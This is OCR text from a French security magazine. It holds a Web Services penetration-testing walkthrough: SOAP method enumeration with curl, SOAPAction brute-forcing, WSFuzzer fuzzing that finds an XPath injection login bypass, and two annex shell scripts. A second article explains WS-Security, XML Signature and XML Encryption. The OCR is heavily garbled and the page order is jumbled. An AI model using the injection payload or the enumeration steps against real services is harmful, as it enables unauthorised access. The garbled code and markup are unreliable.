§ akrpcouter.sh query “"http://www.exanple.com/soap/serviet/
rpcrouter” "urn:DataService"
Nous avons maintenant les renseignements nécessaires

pour faire appel a la méthode urn:Dataservice.

[ss)
<methods xmins:ns="ntip://schemas.xnlsoap.org/soap/encading/"
xsibype="nsd:Array" nsh:arrayType="xsd:string(2]">
<jtem xsi:type="xsd:string">getTextNames</item>
<item xsi:type="xsd:string">getChecklist</item>
</methods>
<props xsi:type="nsZ:Map’ xsi:nil="true"/>
<providerClass xsi:fype="xsd:string">soap.DataService</
providerClass>
<providerType xsiifype="xsd:byte">8</providerType>
<scope rsiitype="xsd:int">f</scope>
<scriptFilenameQrString xsi:type="xsd:string" xsi:nil="true"/>
<scriptlanguage xsi:type="xsd:string” xsi:ntl="true"/>
<serviceClass xsi:type="xsd:string" xsi:nil="true"/>
?segﬂceType Asiibype="xsd:int">@</serviceType>

Pour les Web Services qui ne publient aucunement leurs
méthodes, nous sommes contraints d'‘énumérer les méthodes
qui sont susceptibles d'étre présentes par le biais d'une attaque
de type force brute.

La premiére étape consiste 4 identifier le type de technologie
utilisé. Lenvoi d'une simple requéte POST, avec, comme donnée,
le fichier data.«nl, permet d’arriver a ce résultat ([CURL]).

$ curl -k --request POST --header "Content-type: text/xm" --data @
data.xml "hNttps://www.example.com/soap”

Le fichier data.xn! est un document XML valide contenant le

strict minimum pour communiquer avec un Web Service.

<2xml version="1.8" encoding="UTF-8"7>

<SOAP-ENV:Envelope xmins:SOAP-ENV="http://schemas.xmisoap.org/soap/envelope/™>
<SOAP-ENV:Body/>

</SOAP-ENV:Envelope>

Les messages d'erreur SOAP, appelés également « SOAP
Fault », sont d’'une aide précieuse. En effet, c'est grice a ces
derniers qu'il est possible de mener & bien I'énumération des
méthodes WSDL.

—# Réponse d'un Web Service Microsoft NET :

<?xml versiop="1.8" encoding="utf-8"7>
<soap:Envelope xmins:soap="hitp://schemas.xmlsoap.org/soap/envelope/"
xmins:xsi="http://www.w3.0rg/2001/XNLSchema-instance”
xmins:xsd="nttp://www.w3.org/2081/ XML Schema">
<soap:Body>
<spap:Fault> :
<faultcode>soap:Client</faultcode>
<faultstring>Systen.lieb.Services.Protocols.SoapException:
Unable to handle request without a valid action perameter,
Please supply a valid soap action.
at System.Keb.Services.Protocols.SoapliServerProtocoifelper.
RouteRequest()
at System.Web.Services.Protocols.SoapServerProtocol.
Initialize()
at System.Keb.Services.Protocols.ServerProtocolfactory.
Create(Type type, Httplontext context,
HttpRequest request, HitpResponse response, Booleank
abortProcessing)</faultstring>
<detail />
</soap:Fault>
</soap:Body>
</soap:Envelope>
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—# Réponse d'un Web Service WebSphere :

<2xml version="1.8" encoding="UTF-8"7>
<SOAP-ENV:Envelope xmins:SOAP-ENV="nttp://schemas.xmlsoap.org/soap/
envelope/”
<SOAP-ENV:Body>
<SOAP-ENV:Fault>
<faultcode>heneral</faultcode>
<faultstring>Internal Error</faultstring>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelape>

— Réponse d'un Web Service Apache Axis :

<xml version="1.8" encoding="UTF-8"%>
<spapenv:Envelope xmins:soapenv="http://schemas.xm!soap.org/soap/
envelope/"
xmins:xsd="http://www.w3,0rg/ 2001/ XMLSchema®
xmins:xsi="http:/fwww.w3.0rg/2801 /XML chema-
instance'>
<s0apenv:Body>
<spapeny:Fault> :
<faultcode xmlns:nsi="http://xml.apache.org/axis/™
nsl:Client.NoSDAPACEion
</faultcode> ' _
<faultstring>no SOAPAction header!</faulistring>
<detail/>
</soapenv:Fault>
</soapeny:Body>
</soapenv:Envelope>

Ainsi, le service Web nous fournit deux informations impor-
tantes : le protocole SOAP employé pour communiquer et le
type de technologie utilisé. Si nous prenons comme exemple
le service Web tirant parti de la technologie Microsoft, l'enve-
loppe SOAP indique qu'il s'agit de la version 1.1 du protocole
SOAP [SOAP11]. Cette donnée révéle, entre autres, que I'élé-
ment S0APAction doit étre présent au niveau de 'en-téte HTTP et
que le Content-type est tenu d’étre a text/unl. Pour la version 1.2 du
protocole SOAP [SOAP12], I'élement S0APACTion nest plus néces-
saire, bien qu'il ait été remplacé par le paramétre action devenu
optionnel, et le Content-type doit étre a « application/soap+xml ».

Le champ 50APAction est souvent une URL constituée
du namespace et du nom de la méthode a joindre. Pour les

Nous avons réussi a récupérer le document WSDL. Il ne
nous reste plus qu'a chercher des vulnérabilités potentiellement
présentes. En plus des vulnérabilités liées 8 XML et SOAP, les
services Web souffrent des mémes vulnérabilités que les appli-
cations Web. Ces derniéres étant bien connues, nous ne revien-
drons pas dessus, mais plutét sur la facon de les découvrir.

A titre d'exemple, nous allons exploiter une injection XPath
4 l'aide de l'outil [WSFUZZER]. Ce programme est, a lui seul,
un vrai scanner de vulnérabilités pour Web Services. Nous I'uti-
liserons pour automatiser nos attaques.

Nous souhaitons attaquer la méthode Login qui est déclarée
de la maniére suivante :
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4. Exploitation des vulnérabilités

services Web .NET, il s’agit, par défaut de http://tempuri.
org/NomMethode, ot lonfethode est e nom de la méthode.

§ curl -k --request POST --header "Content-type: text/xml" --header
“SOAPAction: http://tempuri.org/test’ --data @data.xml "htips://www.
example,com/soap”

Cette fois-ci, le Web service nous répond de la sorte :

<ml version="1.8" encoding="utf-8"7>
<soap:Envelope xmins:soap="http://schemas.xmisoap.org/soap/envelope/"
Xminssxsi="http://www.w3.org/2081/XNLSchema-instance”
xmins:xsd="http:/finw.w3.org/2001/XMLSchena">
<spap:Body>
<spap:Fault>
<faultcode>soap:Client</faultcode>
<faultstring>Server did not recognize the value of HTTP Header
3 SOAPAction: http://tempuri.org/test. [...]
</faultsiring>
<detail/>
</soap:Fault>
</s0ap:Body>
</soap;Envelope>

11 nous faut done énumérer les différentes possibiliteés pour
le contenu de S04PAction qui est variable d'une méthode a une
autre. Nous aurions plus de chance d’exploiter une autre fai-
blesse susceptible d'étre présente sur le serveur ou de passer par
Pingénierie sociale, vu le temps accordé pour le test d'intrusion.

§ curl -k --request POST --header "Content-type: text/xml" --header
"SOAPAction: http://tempuri.org/Login® --data @data.xml "nttps://
wWW.example.com/soap”

Quoi qu'il en soit, cette méthode, bien qu'elle soit longue et
fastidieuse, porte ses fruits dans certains cas.

<ixml version="1.0" encoding="utf-8"1>
<soap:Envelope Xmins:soap="http://schemas.xnlsoap,org/soap/envelope/"
xmins:xsi="htep://www.w3.org/2081/XMLSchema-instance”
_ xmins:xsd="nttp://www.u3.0rg/Z0AL/ XMLSchema">
<soap:Body>
<toginResponse xmins="http://tempuri.org/*>
<LoginResult>g</LoginResuit>
</loginResponse>

</s0ap:Body>
</soap:Envelope>

Login(xs:string ToginlD, xs:string password)
Nous utilisons la bibliothéque [SUDS] pour développer l'ap-
plication communiquant avec le service Web. Elle est facile d'uti-

lisation et elle est I'une des bibliothéques Python les plus évoluées.

#l/usr/bin/env python

from suds import WebFault
from suds.client import Client

uksd] = 'nttp://exemple.con/HebServices/UserManagement, asmx?WSOL
client = Client(usdl, faults=True)

try:

print client.service.Login{"karin’, "test12d");
except WebFault, e:

print e




Cette derniére nous retourne la valeur o si l'authentification
a échoué.
§ ./AKTestLogin.py
)
Lancons maintenant 'application [WSFUZZER] sur cette
méthode afin de détecter une éventuelle injection de code :

§ python WSFuzzer.py -w "http://exemple.con/NebServices/
UserManagement.asmxZWSOL"

Running WSFuzzer 1.9.4, the latest version

B
KSDL Discovered (http://exemple.com/NebServices/UserManagement.

asmxTHSoL)

If you would 1ike to establish the directory name for the results
then type it in now (leave blank for the default): Session_KA
A ce stade, I'application nous demande de choisir un nom

de dossier qui contiendra les résultats de 'attaque. Puis, elle
énumeére toutes les méthodes présentes dans le fichier WSDL et
nous demande de choisir celle que I'on souhaite tester.
Method[d1: Deletellser

Params:

tem:userlD(xsi:string)
temsessionID(xsi:string)

fod

Method[6]: Login

Params:
tem:loginID{xsi:string)
tem:password(xsi:string)

el

Select the methods you want to Fuzz(ex: 8,1,2,3 or A for ATT)
Methods: 6

L'application continue a étre interactive et souhaite

connaitre quel est le fichier d'attaques qu'elle doit charger.

Ll
Input name of Fuzzing dictionary(full path): XPATH.txt
Dictionary Chosen: XPATH.ExE

=

Would you like to enable IDS evasion(y/n)?
Answer: 1
Not using I0S evasion

(o]

Shall I begin Fuzzingly/m)?
Answer: y

Une fois les attaques exécutées, nous allons voir le contenu
enregistré par lapplication afin d'identifier une attaque réussie.
Linformation compléte se situe dans notre cas dans le dossier

Session_KA-B/HeaderData/245.1xt ¢
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*[f'*'*']nutgsing CAP *AHERRREERIETRFERRARER AR K IERRRE R AR R T KRR AR R R
<tml yersion="1.0" 7>

<soap:Envelope xmins:soap="nttp://www.u3.0rq/2083/05/s0ap-envelope”
xmins:tem="nttp://tempuri.org/">

<s0ap:Header/>

<504p:Body>

<tem:Login>

<l--(ptiona]:-->

<I.-Optional:-->

<tem:loginl0>' or 1= or ''='</tem:loginlD>

<tem:password>Default Value</tem:password>

</tem:Login>

</s0ap:B0dy>

</soap:Envelope>

FRkkEhEkERERE A AR RR AR Ak ARk Rk AR kR bk kR Rk kbR kEhhk
*[‘“]Incoming GAP HEFEbkkktidthrbrbhbrth s khihttikntihthtthisiss
<hxmi version="1.8" encoding="utf-8"7>

<508 :Emre!oqe xmins:soap="nttp://www.w3.ora/2083/@5/s0ap-

envelope’ xmins:xsi="ntip://www.w3.0ra/2081/XMLSchena-instance"
xmins:xsd="http://www.w3.org/2001/ XML Schema">

<s0ap:Body> .

<loginResponse xmins="http://tempuri.org/">
<LoginResult>BO0BI1</LoginResult>

</Loginkesponse>

</soap:Body>

</soap:Envelope>
EREREREI AR AR R R RR AR T AR TR R AR AR IR AR RIR TR TR TR A AR AR AT R TR AL

Nous voila done avee une injection XPath ' or =1 or "=
identifiée a I'aide de l'outil [ WSFUZZER].

Toutefois, si vous étes allergique aux outils en mode console,
il existe un autre utilitaire user friendly nommeé [ WSDIGGER]
qui vous permet d’'arriver au méme résultat pour les attaques
dites « simples » (voir Figures 13 et 14).

Il est indispensable de faire attention avec ce type d'ou-
tillage. Le risque de déni de service est bien présent.

Digger
WEDL [0 217 Macmebark_v2_ Wi WS ervces Ut magemerd s v st ethods | Cler Dol
- Imvoke
= WE UsoMmagenent It Inguat Vake
Logn

1= Logn Typa] Shing
“Sling lagill) = kases ek st

Sevice UAL fhepeiini2 2

Ll i e Tty

[—
D] Ciosa Sie Sicvping dlack. |\ it oy 124 e S fut ' |
iSyslien Stng value = (KOO

Log o "' "o "W |
[Fpsten Shng vaue = 000001

|
i {sm;:gl'm-n

[ognir 471
Sst Stng ks = 0

Loginicount,’ child node(]] countl/’ chid-node(l |
Sysiem Sng vaue = 0
Logni@" @'k -

o i

Figure 14 : WSDigger en pleine action
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Conclusion

Nous avons vu quelques techniques, bien qu'il en existe
d’autres, permettant d’arriver 4 bout d'un service Web lors d'un
test d’'intrusion. En effet, les services Web n'ont pas été créés
dans une optique sécurité. Différents standards complémen-
taires sont sortis depuis pour combler cette lacune, mais restent

mal maitrisés. De plus, les Web Services sont de plus en plus
partie intégrante des systémes d’'informations. Leurs faiblesses
sont bien réelles et permettent de voler des informations confi-
dentielles, mais aussi de prendre la main sur le systéme. B

Annexes

Script Shell akudd.sh :
L/bin/sh
TMPFILE="mktemp uddi XXXXXXXXKX"

;;];i [[ "X§1" == "Yfind_business" 1]
&n
i}g{ﬁSBAP':‘-:ﬁnd_business genaric=\"Z.8\" xmins=\"urn:;uddi-orgsapi_
V2"
<name>$3</name>
</find_business>"
g]hif [[ "X$1" == "fget_serviceDetail" ]I

efi
DATASOAP="<get_serviceDetail generic=\"2.8\" xmins=\"urn;uddi-
org:api_vey>
<seryicekey>§3</sarvicekey>
</get_servicelatail>"
EFT [[ "X§1" == "fget_tModelDetail" 1]

en .
DATASOAP="<get_tModelDatail generic=\"Z.8\" xmins=\"urn;uddi-
org:api v\">
<thodelkey>$3</tHodelKey>
<{get_tHnde1Betaﬂ>-“
else
echo "Usage: $8 [find_business | get_serviceDetail | get_tModel]
url data”
exit
fi

DATAXNL="<?xml version=\"LO\" encoding=\"UTE-B\" 7>
<Envelope xmins=\"http://schemas.xmisoap.org/soap/envelope/\'>
<Body>$DATASOAP</Bady>

</Envelope>"

curl -s -k --request POST --header "Content-type: text/xml;
charset=utf-8" --header "SOAPAction: \"\"" --data "SDATAXML® "$§2"
-0 $THMPFILE

xmltint --format STMPFILE

rm -f $TMPFILE

Script Shell akrpcrouter.sh :
#1/bin/sh

THPFILE="mktemp rpcrouter. XRXXXXXXXE

if [ "X81" == "{1ist" 1]

then

DATASOAP="<ns1:1ist xmins:nsi=\"urn:xml-soap-service-management-
service\” SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/
encoding/\">

</nsl:ilist>"

elif [[ "Xs1" == "Xquery" 1]

then

DATASOAP="<ns1:query xmins:nsl=\"urn:xml-soap-service-management-
service\" SOAP-ENV:encodingStyle=\"nttp://schenas.xmlsoap.org/soap/
encading/\">

<name xsi:type=\"xsd:string\">$3</name>

</nsl:query>"

else

gcho "Usage: $8 [1ist | query] url [method]"

exit

fi

DATAXML="<2xm] version=\"L.B\" encoding=\"UTF-8\" 7>

<SOAP-ENV:Envelope xmins;S0AP-ENV=\"http://schemas.xmisoap.org/soap/

envelope/\" xmins:xsi=\"nttp://www.wd.org/2001/XMLSchema-instance\”

Amins:xsd=\"htip:/fwww,w3.org/ 2881/ XML chema\™>
<SOAP-ENV:Body>$DATASOAP</SOAR-ENV:Body>

</SOAP-ENV:Envelope>"

curl -5 -k --request POST --header "Content-type: text/uml;
charset=utf-8" --header "SOAPAction: \"\'" --data "SDATAXML' "$2° -0
STHPFILE

xmilint --format STHPFILE

rn -f STMPFILE
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WS-Security est une norme OASIS [OASIS],
actuellement en version 1.1 [WSSE11]. Sa publication
date du 1er février 2006. Son objectif est de définir un
cadre générigue de sécurisation des messages SOAP.
Les fonctions proposées a ce titre sont le chiffrement,
la signature et le transport des jetons d'authentification
et sont implémentées via 'utilisation d'extensions dans
les en-tétes SOAP.

Ces extensions sont construites & partir des élé-

ments suivants :

—8 XML Eneryption : qui offreles fonctions de chiffrement
des données et des informations critiques de l'en-téte ;

- XML Signature : pour la signature et le contréle d’in-

tégrité de tout ou partie du message et de l'en-téte ;

—# Les jetons de sécurité : pour le transport des « décla-
rations » (claims) auprés du destinataire du message.

La flexibilité des technologies implémentées dans
WS-Security assure la capacité de protéger différentes

parties du message de différentes maniéres en fonction

sc N® 43 - Mai/Juin 2009

Renaud Bidou
rbidou@denyall.com

WS-SECURITY

motis-clés : WS-Security / OASIS / XML / chiffrement

S-Security est la brique essentielle de la sécurité des Web Services. Il est
par conséquent difficile de concevoir que l'on puisse traiter sérieusement de
ce sujet sans avoir une connaissance suffisante de cette norme. Il faut donc
se contraindre a la lire, ainsi que lensemble des documents qui sy rapportent, ce qui
représente un exercice particulierement pénible, mais néanmoins indispensable. Cet
article tente de synthétiser les éléments les plus importants et, hélas, indispensables
a la bonne compréhension de la suite du dossier. Courage !

1. Objectif et limitations de WS-Security

des contraintes imposées par les différents destinataires
et intermédiaires. Qui plus est, il est acceptable de consi-
dérer que les messages sont protégés de maniére auto-
nome dans la mesure ot leur sécurité est indépendante
de celle de la couche de transport.

Toutefois, WS-Security n'offre pas une sécurité
exhaustive contre l'ensemble des menaces auxquelles
sont exposés les messages SOAP. Les technologies implé-
mentées dans WS-Security ne garantissent « que » la
confidentialité via le chiffrement, l'origine et I'intégrité
via la signature, le transport des éléments d'authentifica-
tion (et un peu plus en théorie) via les jetons de sécurité.

En revanche, et cela est bien précisé dans les spécifi-
cations, WS-Security ne protége pas contre les attaques
par rejeu, les man-in-the-middle ou une sécurité insuffi-
sante des jetons. Qui plus est, la complexité intrinséque de
certaines chaines applicatives utilisant WS-Security peut
étre 4 l'origine de faiblesses fonctionnelles difficilement
indentifiables. Cette problématique prend une dimension
considérable dans le cas d'infrastructures impliquant
des tierces parties dépendant d'organisations externes.




2.1 Présentation
des signatures XML

2.1.1 Considérations génériques

L'objectif principal de XML Signature est de fournir le
moyen de signer uniquement certaines parties d'un document
XML. Dans la mesure ot un document XML transmis au long de
la chaine applicative d'un Web Service est composé de plusieurs
bloes pouvant avoir des auteurs différents, le besoin de garantir
Torigine et I'intégrité de ces différents blocs est 1égitime.

Trois types de signatures sont a distinguer, en fonction de
la position de cette derniére par rapport au reste du document :

- la signature enveloppante : destinée 4 qualifier une
signature contenant les données signées ;

—l la signature enveloppée : qui qualifie une signature
contenue dans le document signé ;

—#l lasignature détachée : située i lextérieur du document signé.

Comprendre les mécanismes mis en ceuvre dans XML Signature
est utile a plusieurs titres. Tout d’abord, un certain nombre d'entre
eux, tels que les blocs d'information sur les clefs ou le principe des
références sont également appliqués 4 XML Encryption. Ensuite,
et bien que, théoriquement, tout soit plus ou moins optionnel,
ces deux composantes sont presque toujours implémentées et
nécessaires. Enfin, parce que ces mécanismes sont 4 la source
de plusieurs vulnérabilités, détaillées dans l'article suivant.

La premiére étape de la construction d'une signature est la

genération d'un digest pour chaque bloc devant étre signé, et
appelé « référence », Toutes les références sont ensuite intégrées
a un groupe d'éléments. Un digest de ce groupe est ensuite cal-
culé et signé. Une signature XML est donc composée d'une ou
plusieurs références.

La structure générale d'une signature XML est donnée
ci-dessous.

<Signature 103>
<51%nedl_nfp.>.._ Eet
<CanonicalizationMethod/>
<SignatureMethod/>
(<Reference URI? >
(<Transforms>)?
<DigestMethod>
<Digestialue>
<[Referance>)+
</SignedInfo>
<SignatureVaiue>
(<keyInfo>)?
{<Object 1D7>)*
</Signature>

Les principaux éléments d'une signature sont :
—M <Signedinfo> : il sagit de Pélément méme qui a été signé. 11
contient les digests d'un ou plusieurs blocs.

— <CanonicalizationMethod> : est une référence au mécanisme de
canonisation utilisé.

M <Signaturebethod> : désigne l'algorithme utilisé pour signer le
bloc <SignedInfo>.

— <Reference> : un pointeur sur la ressource signée.

~M <ransforns> : une liste ordonnée des opérations effectuées sur
les données en amont du processus de signature.

-l <[igestMethod> : désigne l'algorithme utilisé pour calculer le
digest des données signées.

~# <feyInfo> : identifie la clef nécessaire a la validation de la
signature.

— <Jpjects>: estun bloe qui autorise I'ajout de données complé-
mentaires a I'€lément <Signature>. Un élément typique est le bloc
<SignatureProperty> qui présente un timestamp du message.

=

<Signatures

Le bloc I
2.1.3 Opérations de base

Les opérations de base effectuent la validation de la signa-
ture et de contréle d’'intégrité de blocs XML.

2.1.4 Création d’une signature

Une signature est créée en deux étapes : la création des réfé-
rences, utilisée pour le contréle d'intégrité de chaque bloc, puis
le calcul de la signature pour un ensemble de références.
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—8 Création d’'une référence : En effet, la nature hétérogéne des composants et la flexibilité de

Les transformations sont appliquées dans l'ordre dans XML rendent possible la transformation de certains éléments

: = S
lequel elles sont énumérées dans le bloc <Transforns», sans pour autant remettre en question | interopérabilité entre

: s : les systémes.
El Le digest est calculé a partir de la valeur de retour de la i

derniére fonction de transformation. La canonisation d'éléments XML repose sur le traitement de

Lo Bloc <BeTerences vt cish. données représentées selon le modéle xPath. Lexpression iden-

tifiant 'ensemble de nceuds devant étre canonisés est fournie

—W Création d’une signature : comme premier argument, le second étant un simple flag indi-

quant si les commentaires doivent étre intégrés a la forme cano-

Lebloc <Signedinfo> est construit et contient les éléments nique ou non. Lopération est ensuite effectuée conformément a

<CanonicalizationMethod>, <SignatureNethod> et tous les blocs la norme définie pour la canonisation XML. Il existe aujourd hui

<Reference>. deux normes de canonisation XML : la canonisation inclusive

El Ce bloc est canonisé via la méthode précisée dans l'€1é- [XMLC14N] et la canonisation exclusive [XMLC14N-EXC].
ment <CanonicalizationMethod>.

2.2.2 Canonisations inclusive

et exclusive

El Tl est ensuite signé avec la méthode identifiée dans I'élé-
ment <$ignaturedethod>.

Le bloc <Signature> est construit avec les bloes <5ignedlnfo>, La différence entre les méthodes de canonisations inclusive

<Object>, <Keylnfo> et <Signaturelalues. et exclusive est le traitement des espaces de nommage (names-
pace) et des attributs hérités par un nceud de ses ancétres.

2.1.5 Validation d’une signature La canonisation par défaut (devenue canonisation inclusive)

AVinstar de la création d'une signature, l'opération de vali- spécifie que, pour les éléments n'ayant pas d'ancétre dans I'en

dation s'effectue en deux étapes : semble de nceuds concerné (appelés « éléments apex »), tous

les ancétres sont analysés et leurs attributs (et entre autres les

Validation desxernces espaces de nommage) sont ajoutés a une liste. Tous les attributs

[E Le bloc <Signedinfo> est canonisé via laméthode précisée de cette liste présents dans les nceuds descendants sont sup-

dans I'élément <(anonicalizationdethod>. primés de la liste. La liste est ensuite classée par ordre alpha-

El Le digest des données de chaque bloc <Reference> est caleulé. bétique et fusionnée avec la liste des attributs du ncend apex.
Le résultat est comparé avec le contenu de 1'élément Cette méthode n'est pas appropriée a la canonisation de par-
<Digestialue>. ties de documents inclus dans une enveloppe appelée & chan-
e ; er au cours de son traitement par différents composants de

- Validation de la signature : £ . ek 1 p . e o
la chaine applicative. Lexemple ci-dessous illustre ce scénario,
E' Lélément <Signaturedethod> est canonisé via la méthode en donnant la forme canonique d'un élément <¢\enl> dont l'en-

précisée dans Pélément <Canonicalizationflethod>, veloppe a changé.

E Le résultat est utilisé avec les informations conte-

Document Forme canonique de elem1

nues dans le bloe <{eyinfo> pour valider la signature

R <n;pdu xmins:ng="http://a.example’> | <nl:eleml xmins:nd="http://a.example"
contenue dans le bloc <Signedinfo>. <nl:elenl xmins:nl="http://b, xmins:nl="http://b.example">
example"> ' Contenu
Contenu. </nl:elent>
2.2 La canonisation (},ﬁgf_'gé;‘fm}

<n2:local xmins:n2="htto://c.example™> | <nl:elenl xmins:nl="http://b.example”

2.2.1 Canonisation XML <plielenl xmins:nl="http://b. smins:n2="http://c.example”>
il il
Lobjectif de la canonisation est de fournir une repré- EXEM?‘.{EM!;EW </nleel :n?{g il
sentation normalisée d'une partie d'un document, sans </ni:elent> |
</nl:pdu>

prendre en considération le contexte auquel est intégrée

ie. La finalité éfinir acanis i ; : ; " !
Setiepartie aalits gat & 5 g C’est pour pallier ce défaut que la forme canonique exclu-

arantirait I'unicité de cette représentation. ; Sy i < i i
& Lt EER sive a été définie. La principale différence avec la canonisation

La spécification d'un tel mécanisme est cbligatoire dans inclusive est que l'opération de recherche et d'analyse des nceuds
le cadre de la signature et du controle d'intégrité des données ancétre nest pas effectuée. Par conséquent, un changement d'en-
XML transmises et échangées dans le cadre d'un Web Service. veloppe d'un nceud n'aura pas d'impact sur sa forme canonique.
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.3 Regles de canonisation

Un certain nombre de régles sont définies en fonction du
type de neeud (racine, élément, texte, attribut, espace de nom-
mage ou instruction de traitement)  transformer sous forme
canonique. Les principales regles de canonisation appliquées
aux documents XML sont :

—# La forme canonique est encodée en UTF-8.

—# Les sauts de ligne sont transformés en #xA.

—# Les valeurs des attributs sont normalisées.

— Les valeurs des attributs sont délimitées par des ".

— Les références vers des entités (entit)) sont remplacées.

—M Les références de caractéres sont remplacées dans les nceuds
texte (ex. k4137 devient 7).

—l Les sections CDATA sont remplacées par leur contenu.

—l Les déclarations XML et les DTD (Document Type Declaration)
sont supprimées,

— Les éléments vides sont remplacés par des paires de tag
(<data/> devient <data></data>).

—8 Dans les tags, les espaces sont normalisées, seulement une

espace entre chaque paramétre.

—# Les espaces sont conservées a l'exception de celles des

neeuds qui ne dépendent pas de 'ensemble de neeuds.

- Dans les neeuds texte, les caracteres 4.5, >, " et #x0 sont rem-
placés respectivement par kamp 41%;, kgt;, hquot; et &#xD.

2.2.4 Limitations de la canonisation

Deux documents XML peuvent étre différents, mais rester
logiquement équivalents en fonction du contexte de 'applica-
tion. Un cas décole est la possible équivalence des expressions
<color>black</color> et <color>008088</color>. Une autre limita-

tion concerne la perte d'informations qui ne sont pas dispo-

nibles dans le modéle donné. Le cas le plus fréquent est la
perte de 'URI de base & partir de laquelle sont construites les
URI relatives.

2.3 L’élément <Signature>

2.3.1 Génération d’une signature

Le bloc <Signature> contient toutes les informations néces-
saires a la validation des parties de document signées. Elle
est composée de deux composants obligatoires et de deux
composants optionnels, respectivement, les informations de
signature, la valeur de la signature, les informations de clé et le
composant <0bject>,

2 DOSSIER

Le mécanisme utilisé pour le calcul de la signature est pré-
cisé dans 1'élément <Signaturelethod> du bloe <Signaturelnfo>, Les
algorithmes explicitement cités dans la norme pour le caleul
des signatures sont HMAC-SHA 1 dont le support est obligatoire,
DSA également requis par la norme, et PKCS1 (RSA-SHA1) dont
le support, quant & lui, est optionnel. La valeur de la signature
est stockée dans I'élément <Signaturelalue> et est la valeur retour-
née par la fonction de signature, encodée en Base64.

2.3.2 Les clefs de signature

Afin de garantir l'interopérabilité entre les systémes, il est
nécessaire de fournir un mécanisme de transmission des clefs

de signature flexible et évolutif. C'est le role du bloe <{eyInfo> qui

contient plusieurs types d'éléments :

~@ <feylame> : il sagit d'un champ générique permettant de
transmettre un identifiant de clé.

— <feyValue> : la clef utilisée pour valider la signature. Deux
formats spécifiques sont définis pour les clefs RSA
et DSA.

—l <ReirievalMethod> ; préeise le mécanisme de récupération d’'un
bloc <Keylnfo> via I'utilisation d'une référence pointant sur un
élément interne ou externe au document.

=& </5090ata>: un identifiant de clef ou de certificat X509.

-l <keylate> : un élément spécifique utilisé pour la transmis-
sion de données nécessaires aux clefs utilisées par SKIP
et PGP.

Dans certains cas, les clefs sont déja connues des acteurs et
le bloc <feylnfo> serait alors inutile. Pour cette raison, la norme
le définit comme optionnel.

2.3.3 Références

Les références sont les identifiants des bloes qui ont été
signés. Un méme document peut contenir plusieurs blocs
<Reference>. Les principaux composants de ce bloc sont :

—8l Une URI, comme attribut de I'élément et qui pointe sur un
élément interne ou externe au document ;

—# Un algorithme de digest, utilisé pour calculer le condensé
de I'élément signé ;

—#l Un digest, qui est la sortie de la fonction identifiée précé-
demment appliquée & I'élément pointé par 'URL

Un bloe <31gn2dinto> peut contenir plusieurs références afin
de permettre le calcul d'une seule signature pour plusieurs blocs
situés a différents endroits du document.

Le seul algorithme imposé par la norme est SHA1, MD5 de
son cbté est explicitement déconseillé compte tenu des doutes
concernant sa sécurité.
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3.1 Généralités sur

le chiffrement XML

3.1.1 Granularité du chiffrement

XML encryption a été concu pour permettre le chiffrement
de tout ou partie dun document XML. Une telle fonctionnalité
est rendue nécessaire par le fait que certains Web Services inter-
médiaires peuvent ne pas étre autorisés a accéder a certains
contenus. Le chiffrement des données XML peut, par consé-
quent, étre appliqué a :

—#l la totalité du document ;
—# un élément XML ;
= le contenu d'un élément XML ;

—# la partie de données d'un élément XML.

Le tableau ci-contre donne un exemple de chacune de ces
portées de chiffrement.

3.1.2 Structure des blocs chiffrés

Les bloes chiffrés sont construits selon le modéle suivant :

<EncryptedData Id? Type? MimeType? Encoding?>
<EncryptionMethod/>?
<ds:KeyInfo>
<Encryptedkey>?
<hgreemeniMethod>?
<ds:Keylame>? :
<ds:RetrievalMethod>?
<ds:*>7
<fds:KeyInfo>?
<(CipherData>
<CipherYalue>?
<£ignerﬂeference URI?>?
</CipherData>
<EncryptionProperties>?
</EncryptedData>

Les principaux composants de cette structure sont :
~— <Encryptiontethod> : définit I'algorithme utilisé pour le
chiffrement.

-@ <{eyInfo> : contient les éléments concernant la clef de chiffre-
ment, le moyen de la récupérer ou de la calculer.

M <Cipherlata> : contient les données chiffrées ou une référence
pointant sur ces données.

3.2 Principales opérations

3.2.1 Chiffrement

Les étapes du chiffrement sont les suivantes :

Choix de I'algorithme de chiffrement.
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3. XML Encryption

Poriée Document

<2am] version='1.0'7>
<Paymentinfo xmins="nttp://example.org/
payment'> I
<Nane>John Smith</Name>
<GreditCard Limit="5,008" Currency="USD">
<Number>4819 2445 8277 Bh67</Number>
<Issuer>Example Bank</Issuer>
<Expiration>B&/02</Expiration>
</Creditlard>
</Paymentinfo>

kucun chiffrement

<txml versign='1.0'7>
<EncryptedData xmlns='http://www.
ua.or% 2001/04/xmlencd’

Chiffrement du Mimelypes'text/xml'>
document <f31% erdate>
<_Tﬁherﬂalue>ﬁ23345ﬂ5&-¢!€ipher¥a1ue>
</CipherData>
</EncryptedData>

<Pxml version="1.8'1>
<PaymentInfo xmins='http://example.org/
paymentv'>
<llane>John Smith</Name>
<tncryptedData Type="hitp://www,
w3.0rg/2881/04/xnlencHE lement’
xmins="http:/fwww.w3.org/2001/84/xmlenc'>
<Cighe_r!}a >
< iﬁh'eﬂa'luwﬁ;zmsc&éﬁcfpher‘ia1ue>
</CipherData>
<fEncry|%tedData>
</PaymentInfo>

Chiffrement d'un
elément

<2xml version='1.0'7>
<PaymentInfo xmins="ntip:/fexample.org/
paymentye'>
<Kame>John Smith</Name>
<CreditCard Limit='5,888° Currency='USD'>
1 <EncryptedData xmins='http://wnH,
Chiffrement du wd.org/2801/84/xmlenc#'
contenu d'un Ty?e=‘http:-z‘f‘ww.w3.nrg!2ﬁﬂlfﬂ4f
Elément xmienc#Content'>
d;t%herﬂa't» |
<L iﬁher\‘al ue>A23B45C56</Cipheralue>
</CipherData>
<f£ncr€pt'edﬂata>
<fCreditlard>
<fPaynentinfo>

<tuml version='1.9'7> |
<PaymentInfo xmins="http://exsmpie.org/
paymentve'>
<Name>dofin Smith</Name>
<CreditCard Limit='5,000' Currency='USD">
<Kumber>
<Enc.ny;:teﬂﬂa.ta xmins="htto://wwi.
W3.0rq/2081 /44 xmlenc#’
Chiffrement des Iﬁ:nc gtc_‘;pn.t/;;gn;.u3.urg12%1!ﬁ4f
données d'un <Cipherlatsy>
Elément <Bi'ﬁherﬂa!ue>h23345€56<}
CipnerValue>
</CipherData>
</Encryptedlate>
<[Number>
<Issuer>Example Bank</Issuer>
<Expiration>04/@2</Expiration>
</CreditCard>
</PaymentInfo>




El Construction du bloc <KeyInfo>, contenant :

—# le nom de la clef, une référence ou la clef elle-méme, stockée
en clair ;

